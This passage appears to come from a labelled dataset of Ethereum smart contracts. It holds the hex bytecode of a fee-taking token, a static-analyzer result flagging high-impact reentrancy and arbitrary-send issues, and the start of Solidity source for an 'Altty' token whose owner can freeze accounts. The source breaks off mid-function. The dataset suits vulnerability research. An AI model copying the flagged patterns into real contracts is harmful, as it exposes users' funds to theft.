fffffff1660e01b815260040160206040518083038186803b158015610c0657600080fd5b505afa158015610c1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3e9190612f08565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1610610c77578385610c7a565b84845b6dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150610cc882610cba6402540be4008461244990919063ffffffff16565b6124c490919063ffffffff16565b965050505050505090565b610cdb611749565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f906136e4565b60405180910390fd5b601360149054906101000a900460ff1615610db8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610daf90613764565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e4930601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda1000000611751565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e8f57600080fd5b505afa158015610ea3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec79190612f08565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2957600080fd5b505afa158015610f3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f619190612f08565b6040518363ffffffff1660e01b8152600401610f7e9291906134b4565b602060405180830381600087803b158015610f9857600080fd5b505af1158015610fac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd09190612f08565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061105930610886565b600080611064610a34565b426040518863ffffffff1660e01b815260040161108696959493929190613506565b6060604051808303818588803b15801561109f57600080fd5b505af11580156110b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110d891906130fe565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161117a9291906134dd565b602060405180830381600087803b15801561119457600080fd5b505af11580156111a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111cc9190613051565b5050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061120e611207611749565b848461199f565b6001905092915050565b611220611749565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a4906136e4565b60405180910390fd5b60005b815181101561133e576001600860008484815181106112d2576112d1613bea565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061133690613b43565b9150506112b0565b5050565b61134a611749565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ce906136e4565b60405180910390fd5b80600d8190555050565b600f60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611422611749565b73ffffffffffffffffffffffffffffffffffffffff161461144257600080fd5b600061144d30610886565b90506114588161250e565b50565b611463611749565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e7906136e4565b60405180910390fd5b601360149054906101000a900460ff1615611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790613764565b60405180910390fd5b6001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b611580611749565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461160d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611604906136e4565b60405180910390fd5b60008111611650576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164790613644565b60405180910390fd5b61168060646116728369d3c21bcecceda100000061244990919063ffffffff16565b6124c490919063ffffffff16565b600e819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600e546040516116b791906137a4565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b890613744565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611831576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182890613604565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146118b457601360149054906101000a900460ff166118b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118aa90613684565b60405180910390fd5b5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161199291906137a4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0690613724565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a76906135a4565b60405180910390fd5b60008111611ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab990613704565b60405180910390fd5b611aca610a34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b385750611b08610a34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561226c57600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611be15750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bea57600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c955750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ceb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f6e57601360149054906101000a900460ff16611d0957600080fd5b600e54811115611d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d45906135c4565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc690613664565b60405180910390fd5b61012c42611ddd9190613903565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060b442611e2d9190613903565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611e7a610a9a565b9050600b54811115611f6c5782601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b81905550611f08611ef96064611eeb600d548561244990919063ffffffff16565b6124c490919063ffffffff16565b8261279690919063ffffffff16565b600c819055507f1b23c40005f4d445a417325cc4cc2515cfbe529f49945aa04fec1d79ca3414d2600b54601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051611f639291906137bf565b60405180910390a15b505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561206c576000600b819055506000601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f1b23c40005f4d445a417325cc4cc2515cfbe529f49945aa04fec1d79ca3414d2600b54601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516120639291906137bf565b60405180910390a15b600061207730610886565b9050601360159054906101000a900460ff161580156120e45750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156120fc5750601360169054906101000a900460ff165b1561226a5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612182576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612179906136a4565b60405180910390fd5b600061218c610a9a565b9050600c548110156121eb576000600b819055506000601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600c819055505b6121f48261250e565b60004790506000811180156122585750600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561226757612266476122e0565b5b50505b505b6122778383836127e0565b505050565b60008383111582906122c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122bb9190613582565b60405180910390fd5b50600083856122d391906139e4565b9050809150509392505050565b600f60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123306004846124c490919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561235b573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123ac6006846124c490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123d7573d6000803e3d6000fd5b5050565b6000600954821115612422576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612419906135e4565b60405180910390fd5b600061242c6127f0565b905061244181846124c490919063ffffffff16565b915050919050565b60008083141561245c57600090506124be565b6000828461246a919061398a565b90508284826124799190613959565b146124b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b0906136c4565b60405180910390fd5b809150505b92915050565b600061250683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061281b565b905092915050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561254657612545613c19565b5b6040519080825280602002602001820160405280156125745781602001602082028036833780820191505090505b509050308160008151811061258c5761258b613bea565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561262e57600080fd5b505afa158015612642573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126669190612f08565b8160018151811061267a57612679613bea565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126e130601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611751565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127459594939291906137e8565b600060405180830381600087803b15801561275f57600080fd5b505af1158015612773573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60006127d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227c565b905092915050565b6127eb83838361287e565b505050565b60008060006127fd612a49565b9150915061281481836124c490919063ffffffff16565b9250505090565b60008083118290612862576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128599190613582565b60405180910390fd5b50600083856128719190613959565b9050809150509392505050565b60008060008060008061289087612aae565b9550955095509550955095506128ee86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061298385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129cf81612b94565b6129d98483612c51565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a3691906137a4565b60405180910390a3505050505050505050565b60008060006009549050600069d3c21bcecceda10000009050612a8169d3c21bcecceda10000006009546124c490919063ffffffff16565b821015612aa15760095469d3c21bcecceda1000000935093505050612aaa565b81819350935050505b9091565b6000806000806000806000806000612aeb8a600f60009054906101000a900460ff1660ff16600f60019054906101000a900460ff1660ff16612c8b565b9250925092506000612afb6127f0565b90506000806000612b0e8e878787612d21565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000808284612b459190613903565b905083811015612b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8190613624565b60405180910390fd5b8091505092915050565b6000612b9e6127f0565b90506000612bb5828461244990919063ffffffff16565b9050612c0981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c668260095461279690919063ffffffff16565b600981905550612c8181600a54612b3690919063ffffffff16565b600a819055505050565b600080600080612cb76064612ca9888a61244990919063ffffffff16565b6124c490919063ffffffff16565b90506000612ce16064612cd3888b61244990919063ffffffff16565b6124c490919063ffffffff16565b90506000612d0a82612cfc858c61279690919063ffffffff16565b61279690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d3a858961244990919063ffffffff16565b90506000612d51868961244990919063ffffffff16565b90506000612d68878961244990919063ffffffff16565b90506000612d9182612d83858761279690919063ffffffff16565b61279690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612dbd612db884613882565b61385d565b90508083825260208201905082856020860282011115612de057612ddf613c4d565b5b60005b85811015612e105781612df68882612e1a565b845260208401935060208301925050600181019050612de3565b5050509392505050565b600081359050612e2981614007565b92915050565b600081519050612e3e81614007565b92915050565b600082601f830112612e5957612e58613c48565b5b8135612e69848260208601612daa565b91505092915050565b600081519050612e818161401e565b92915050565b600081519050612e9681614035565b92915050565b600081359050612eab8161404c565b92915050565b600081519050612ec08161404c565b92915050565b600081519050612ed581614063565b92915050565b600060208284031215612ef157612ef0613c57565b5b6000612eff84828501612e1a565b91505092915050565b600060208284031215612f1e57612f1d613c57565b5b6000612f2c84828501612e2f565b91505092915050565b60008060408385031215612f4c57612f4b613c57565b5b6000612f5a85828601612e1a565b9250506020612f6b85828601612e1a565b9150509250929050565b600080600060608486031215612f8e57612f8d613c57565b5b6000612f9c86828701612e1a565b9350506020612fad86828701612e1a565b9250506040612fbe86828701612e9c565b9150509250925092565b60008060408385031215612fdf57612fde613c57565b5b6000612fed85828601612e1a565b9250506020612ffe85828601612e9c565b9150509250929050565b60006020828403121561301e5761301d613c57565b5b600082013567ffffffffffffffff81111561303c5761303b613c52565b5b61304884828501612e44565b91505092915050565b60006020828403121561306757613066613c57565b5b600061307584828501612e72565b91505092915050565b60008060006060848603121561309757613096613c57565b5b60006130a586828701612e87565b93505060206130b686828701612e87565b92505060406130c786828701612ec6565b9150509250925092565b6000602082840312156130e7576130e6613c57565b5b60006130f584828501612e9c565b91505092915050565b60008060006060848603121561311757613116613c57565b5b600061312586828701612eb1565b935050602061313686828701612eb1565b925050604061314786828701612eb1565b9150509250925092565b600061315d8383613178565b60208301905092915050565b61317281613a97565b82525050565b61318181613a18565b82525050565b61319081613a18565b82525050565b60006131a1826138be565b6131ab81856138e1565b93506131b6836138ae565b8060005b838110156131e75781516131ce8882613151565b97506131d9836138d4565b9250506001810190506131ba565b5085935050505092915050565b6131fd81613a2a565b82525050565b61320c81613aa9565b82525050565b600061321d826138c9565b61322781856138f2565b9350613237818560208601613adf565b61324081613c5c565b840191505092915050565b60006132586023836138f2565b915061326382613c6d565b604082019050919050565b600061327b6020836138f2565b915061328682613cbc565b602082019050919050565b600061329e602a836138f2565b91506132a982613ce5565b604082019050919050565b60006132c16022836138f2565b91506132cc82613d34565b604082019050919050565b60006132e4601b836138f2565b91506132ef82613d83565b602082019050919050565b6000613307601d836138f2565b915061331282613dac565b602082019050919050565b600061332a6015836138f2565b915061333582613dd5565b602082019050919050565b600061334d6014836138f2565b915061335882613dfe565b602082019050919050565b60006133706010836138f2565b915061337b82613e27565b602082019050919050565b60006133936021836138f2565b915061339e82613e50565b604082019050919050565b60006133b66020836138f2565b91506133c182613e9f565b602082019050919050565b60006133d96029836138f2565b91506133e482613ec8565b604082019050919050565b60006133fc6025836138f2565b915061340782613f17565b604082019050919050565b600061341f6024836138f2565b915061342a82613f66565b604082019050919050565b60006134426017836138f2565b915061344d82613fb5565b602082019050919050565b60006134656012836138f2565b915061347082613fde565b602082019050919050565b61348481613a70565b82525050565b61349381613a8a565b82525050565b60006020820190506134ae6000830184613187565b92915050565b60006040820190506134c96000830185613187565b6134d66020830184613187565b9392505050565b60006040820190506134f26000830185613187565b6134ff602083018461347b565b9392505050565b600060c08201905061351b6000830189613187565b613528602083018861347b565b6135356040830187613203565b6135426060830186613203565b61354f6080830185613187565b61355c60a083018461347b565b979650505050505050565b600060208201905061357c60008301846131f4565b92915050565b6000602082019050818103600083015261359c8184613212565b905092915050565b600060208201905081810360008301526135bd8161324b565b9050919050565b600060208201905081810360008301526135dd8161326e565b9050919050565b600060208201905081810360008301526135fd81613291565b9050919050565b6000602082019050818103600083015261361d816132b4565b9050919050565b6000602082019050818103600083015261363d816132d7565b9050919050565b6000602082019050818103600083015261365d816132fa565b9050919050565b6000602082019050818103600083015261367d8161331d565b9050919050565b6000602082019050818103600083015261369d81613340565b9050919050565b600060208201905081810360008301526136bd81613363565b9050919050565b600060208201905081810360008301526136dd81613386565b9050919050565b600060208201905081810360008301526136fd816133a9565b9050919050565b6000602082019050818103600083015261371d816133cc565b9050919050565b6000602082019050818103600083015261373d816133ef565b9050919050565b6000602082019050818103600083015261375d81613412565b9050919050565b6000602082019050818103600083015261377d81613435565b9050919050565b6000602082019050818103600083015261379d81613458565b9050919050565b60006020820190506137b9600083018461347b565b92915050565b60006040820190506137d4600083018561347b565b6137e16020830184613169565b9392505050565b600060a0820190506137fd600083018861347b565b61380a6020830187613203565b818103604083015261381c8186613196565b905061382b6060830185613187565b613838608083018461347b565b9695505050505050565b6000602082019050613857600083018461348a565b92915050565b6000613867613878565b90506138738282613b12565b919050565b6000604051905090565b600067ffffffffffffffff82111561389d5761389c613c19565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061390e82613a70565b915061391983613a70565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561394e5761394d613b8c565b5b828201905092915050565b600061396482613a70565b915061396f83613a70565b92508261397f5761397e613bbb565b5b828204905092915050565b600061399582613a70565b91506139a083613a70565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156139d9576139d8613b8c565b5b828202905092915050565b60006139ef82613a70565b91506139fa83613a70565b925082821015613a0d57613a0c613b8c565b5b828203905092915050565b6000613a2382613a50565b9050919050565b60008115159050919050565b60006dffffffffffffffffffffffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b6000613aa282613abb565b9050919050565b6000613ab482613a70565b9050919050565b6000613ac682613acd565b9050919050565b6000613ad882613a50565b9050919050565b60005b83811015613afd578082015181840152602081019050613ae2565b83811115613b0c576000848401525b50505050565b613b1b82613c5c565b810181811067ffffffffffffffff82111715613b3a57613b39613c19565b5b80604052505050565b6000613b4e82613a70565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613b8157613b80613b8c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f42757920616d6f756e742065786365656473206d617820545820616d6f756e74600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f427579696e6720616761696e20746f6f20736f6f6e0000000000000000000000600082015250565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b7f53656c6c696e6720746f6f20736f6f6e00000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f74726164696e672069736e2774206f70656e0000000000000000000000000000600082015250565b61401081613a18565b811461401b57600080fd5b50565b61402781613a2a565b811461403257600080fd5b50565b61403e81613a36565b811461404957600080fd5b50565b61405581613a70565b811461406057600080fd5b50565b61406c81613a7a565b811461407757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220de5b8347861db0c3fc26b5547d7558b3763f4595312dcd1a0458dbd351609cfa64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,811
0x847f6cb2346058922939ac18afe81b9d001ddc7a
pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract Erc20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error * @dev (from OpenZeppelin) */ library LibSafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } /** * @dev Safe a * b / c */ function mulDiv(uint256 a, uint256 b, uint256 c) internal pure returns (uint256) { uint256 d = mul(a, b); return div(d, c); } } contract OwnedToken { using LibSafeMath for uint256; /** * ERC20 info */ string public name = 'Altty'; string public symbol = 'LTT'; uint8 public decimals = 18; /** * Allowence list */ mapping (address => mapping (address => uint256)) private allowed; /** * Count of token at each account */ mapping(address => uint256) private shares; /** * Total amount */ uint256 private shareCount_; /** * Owner (main admin) */ address public owner = msg.sender; /** * List of admins */ mapping(address => bool) public isAdmin; /** * List of address on hold */ mapping(address => bool) public holded; /** * Events */ event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Burn(address indexed owner, uint256 amount); event Mint(address indexed to, uint256 amount); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Throws if not admin */ modifier onlyAdmin() { require(isAdmin[msg.sender]); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner * @param newOwner The address to transfer ownership to */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); // if omittet addres, default is 0 emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * Empower/fire admin */ function empowerAdmin(address _user) onlyOwner public { isAdmin[_user] = true; } function fireAdmin(address _user) onlyOwner public { isAdmin[_user] = false; } /** * Hold account */ function hold(address _user) onlyOwner public { holded[_user] = true; } /** * Unhold account */ function unhold(address _user) onlyOwner public { holded[_user] = false; } /** * Edit token info */ function setName(string _name) onlyOwner public { name = _name; } function setSymbol(string _symbol) onlyOwner public { symbol = _symbol; } /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return shareCount_; } /** * @dev Gets the balance of the specified address * @param _owner The address to query the the balance of * @return An uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256 balance) { return shares[_owner]; } /** * @dev Internal transfer tokens from one address to another * @dev if adress is zero - mint or destroy tokens * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function shareTransfer(address _from, address _to, uint256 _value) internal returns (bool) { require(!holded[_from]); if(_from == address(0)) { emit Mint(_to, _value); shareCount_ =shareCount_.add(_value); } else { require(_value <= shares[_from]); shares[_from] = shares[_from].sub(_value); } if(_to == address(0)) { emit Burn(msg.sender, _value); shareCount_ =shareCount_.sub(_value); } else { shares[_to] =shares[_to].add(_value); } emit Transfer(_from, _to, _value); return true; } /** * @dev transfer token for a specified address * @param _to The address to transfer to * @param _value The amount to be transferred */ function transfer(address _to, uint256 _value) public returns (bool) { return shareTransfer(msg.sender, _to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); return shareTransfer(_from, _to, _value); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = 